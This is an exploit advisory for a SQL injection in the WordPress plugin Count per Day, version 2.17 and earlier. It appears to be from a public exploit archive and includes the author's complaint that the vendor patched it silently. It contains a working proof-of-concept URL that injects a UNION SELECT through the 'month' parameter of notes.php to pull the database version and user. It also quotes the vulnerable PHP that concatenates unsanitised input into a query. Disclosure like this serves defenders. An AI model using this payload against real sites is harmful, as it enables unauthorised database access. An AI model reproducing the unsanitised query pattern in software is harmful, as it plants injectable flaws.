WordPress Plugin Count per Day 2.17 – SQL Injection
# Exploit Title: WordPress Count per Day plugin <= 2.17 SQL Injection Vulnerability # Date: 2011-09-05 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/count-per-day.2.17.zip # Version: 2.17 (tested) # Note: Authors done one of dirtiest things I've seen in a while :) # I've warned them 2 weeks ago about the vulnerability # They've silently updated the affected v2.17 like nothing happened # No mention of "security" fix in Changelog --- PoC --- http://www.site.com/wp-content/plugins/count-per-day/notes.php?month=-1 UNION ALL SELECT 1,version(),current_user()--%20 --------------- Vulnerable code --------------- if ( isset($_POST['month']) ) $month = $_POST['month']; // they've put (int) here else if ( isset($_GET['month']) ) $month = $_GET['month']; // they've put (int) here else $month = date_i18n('m'); ... $where = ''; if ( $month ) $where .= " AND MONTH(date) = $month "; if ( $year ) $where .= " AND YEAR(date) = $year "; $notes = $wpdb->get_results('SELECT * FROM '.$table_prefix.'cpd_notes WHERE 1 '.$where.' ORDER BY date DESC', ARRAY_A); |